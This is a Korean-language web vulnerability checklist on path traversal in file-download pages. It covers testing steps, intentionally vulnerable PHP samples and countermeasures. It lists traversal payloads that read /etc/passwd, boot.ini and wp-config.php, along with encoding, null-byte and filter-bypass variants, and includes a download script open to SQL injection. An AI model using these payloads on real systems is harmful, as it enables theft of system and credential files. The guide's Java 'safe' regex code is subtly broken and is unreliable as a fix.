1. 개요
홈페이지 상에서 파일을 다운받는 cgi, jsp, php, php3 등의 프로그램에서 입력되는 경로를 체크하지 않는 경우 임의의 문자(../.. 등) 나 주요 파일명의 입력을 통해 웹 서버의 홈 디렉터리를 벗어나서 임의의 위치에 있는 파일을 열람하거나 다운받는 것이 가능할 수 있음
2. 점검방법
Step 1) 게시판 또는 공지사항, 자료실 등에서 cgi, jsp, php 등의 프로그램을 이용하여 파일을 다운로드 받는 페이지가 있는지 조사
Step 2) 다음과 같이 파일 다운로드를 시도한다.
../../../../etc/passwd
../../../../winnt/win.ini
../../../../boot.ini
../../../wp-config.php 로 파일을 다운 받을 수 있다. // 워드 프레스 인 경우,
또는 php의 경우, 아래와 같이 현재 파일도 다운로드 할 수 있다.
xxx/direct_download.php?file=./direct_download.php
Step 3) 아래와 같이 인코딩을 적용하여 해당 파일 내용이 표시되는지 확인한다.
URL 인코딩 .(%2e), /(%2f), \(%5c)
16bit 유니코드인코딩 .(%u002e), /(%u2215), \(%u2216)
더블URL 인코딩 .(%252e), /(%252f), \(%255c)
Step 4) ..//, ....\\, ....\/, ..../\, ..../, ..//, .././, .//, ./\, .\/, .\\ 등을 적용하여 (../../ 와 같이) 패턴을 반복하지 않음으로써 방화벽 우회를 시도한다.
- Filename=./.././../../etc/./././passwd
- Filename=/../../../../../..//was/tomcat (실제로 마지막 경로에 //가 아닌 / 의 경우는 다운되지 않는 경우도 있다.)
- savePath=/../../../../../etc/&fileName=passwd
Step 5) null 바이트 인젝션 시도
정상적인 파일에 널바이트 또는 개행문자를 삽입하여 어떤 필터링이 사용되는지 파악 할 수 있다. 이 방법은 php 환경이나 java, c/c++ 환경에서 적용된다. 또한 리눅스에서는 NULL이 문자열의 끝을 의미하지만 윈도우는 그렇지 않다. 따라서 윈도우 서버에서는 통하지 않는다.)
- normal.jpg.jpg 을 테스트 시도
- index/../normal.jpg 와 같이 경로 파악 시도
- ../../../../etc/passwd NULL.jpg 등을 통해 시스템 파일 다운로드 시도
- ../../../usr/...log/ 을 통해 로그파일 다운로드
[파일명].jsp, [파일명],%0a,jsp
** %0a 는 lindfeed 즉 개행이다.
예를 들어 content=../../../../boot.ini 에서 에러가 생긴다면, ../../../../boot.ini.txt 로 해볼수도 있다. 출력되는 파일이 txt로 정해놨기 때문이다. 그러나 컴퓨는 널바이트값()이 나오는 부분을 끝으로 인식하여 이 부분이 파일의 마지막이라고 속이는 것이다.
유닉스의 경우, 개행문자(%0a)를 삽입 할 수도 있다.
../../../../etc/passwd%0a.jpg
Step 6) 특정 디렉터리나 파일을 먼저 입력한 후 탐색 문자열을 입력할 수도 있다.
/was/tomcat/image/../../../../etc/passwd
-------------------------
- 파일다운로드 취약점이 존재하는 페이지 -
<?php
$file=$_GET['file'];
$local_path ='/var/www/uploads/';
$downFile = $local_path.$file;
if (file_exists($downFile)) {
header('Content-Description : File Transfer');
header('Content-Type : application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($downFile).'"
');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($downFile));
readfile($downFile);
exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?>
- down.php?file=../../../etc/passwd 라고 입력하면 공격이 수행된다.
- file과 path로 나눠서 수행하는 파일 다운로드 취약점
<?php
$file=$_GET['file'];
$path=$_GET['path'];
$local_path='/var/www/html/data/' . $path.'/';
$downFile = $local_path.$file;
if (file_exists($downFile)) {
header('Content-Description : File Transfer');
header('Content-Type : application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($downFile).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($downFile));
readfile($downFile);
exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?>
파일 식별번호를 이용한 파일 다운로드
<?php
$_fileID = $_GET['fileld'];
$link = mysql_connect('localhost', 'root','root');
mysql_select_db('test',$link);
$sql = 'SELECT * FROM upload WHERE fid=' .$_fileID;
$result = mysql_query($sql,$link);
list($fid, $file,$path,$content) = mysql_fetch_array($result);
$local_path='/var/www/html/data/' . $path.'/';
$downFile = $local_path.$file;
if (file_exists($downFile)) {
header('Content-Description : File Transfer');
header('Content-Type : application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($downFile).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($downFile));
readfile($downFile);
exit;
}else {
die ('Error: the file '.$file.' does not exists!');
}
?>
수정이 완료되면 mysql db에 파일의 정보를 입력한다.
#mysql -u root -p
mysql> use test
mysql> create table upload ( fid int(11) AUTO_INCREMENT PRIMARY KEY, filename varchar(128) NOT NULL, path varchar(256), content MEDIUMBLOB );
mysql> insert into upload (filename, path) value ('c99.php','notice');
mysql> select * from upload;
mysql> exit;
웹 브라우저에서 다음과 같이 접속하면 파일을 다운로드 할 수 있다
download.php?fileid=1
------------------------------
4. 대응 방안
파일 다운로드 시, 파일명을 직접 소스 상에서 사용하거나 입력받지 않도록 하며 게시판 이름과 게시물 번호를 이용해서 서버 측에서 데이터베이스 재검색을 통하여 해당 파일을 다운로드 할 수 있도록 하여야 하고, 다운로드 위치는 특정 데이터 저장소를 지정하고, 웹 루트 디렉터리 상위로 이동되지 않도록 설정한다.
<php의 경우>
download.php 파일 코딩 상단에 아래 코드를 삽입함으로써 \, / 문자열을 필터링 할 수 있다
if ( eregi("\.\.|/", $filename ) // 입력받은 파일명에서 \.\.|/" 와 같은 문자열이 발견되면 true를 반환받아, "상대경로로 접근 할 수 없습니다." 라는 문자열을 출력함
{
echo "상대경로로 접근 할 수 없습니다.";
exit;
}
<java 의 경우>
[안전하지 않은 소스]
String pathName ="";
if(request.getParameter("filepath") != null)
{
pathName = request.getParameter("filepath");
log.debug(pathName);
}
else {
pathName = "default File Path";
}
File file = new File(pathName) ; // pathName 파일을 불러온다
[안전한 소스]
String pathName ="";
if(request.getParameter("filepath") != null)
{
pathName = request.getParameter("filepath");
log.debug(pathName);
}
else {
pathName = "default File Path";
}
pathName = pathName.replaceAll("/", "");
pathName = pathName.replaceAll("\\","");
pathName = pathName.replaceAll(".", "");
pathName = pathName.replaceAll("&", "");
File file = new File(pathName) ; // pathName 파일을 불러온다.
< 참고 >
eregi() 함수 정의
int eregi(string pattern, string string, array[regs]);
검색 대상 문자열(string)에서 정규 표현식으로 나타낸 패턴과 일치하는 문자열이 발견될 경우에 true, 발견되지 않을 경우에는 false를 반환한다. 이때 대소문자를 구분하지 않는다. 반면 ereg() 는 대소문자 구분한다.
eregi_replace() 함수 정의
int eregi_replace(string pattern, string replacement, string string);
검색 대상 문자열(string)에서 정규 표현식으로 나타낸 패턴(patten)과 일치하는 문자열을 찾아서 지정한 문자열(replacement)로 바꾼다. |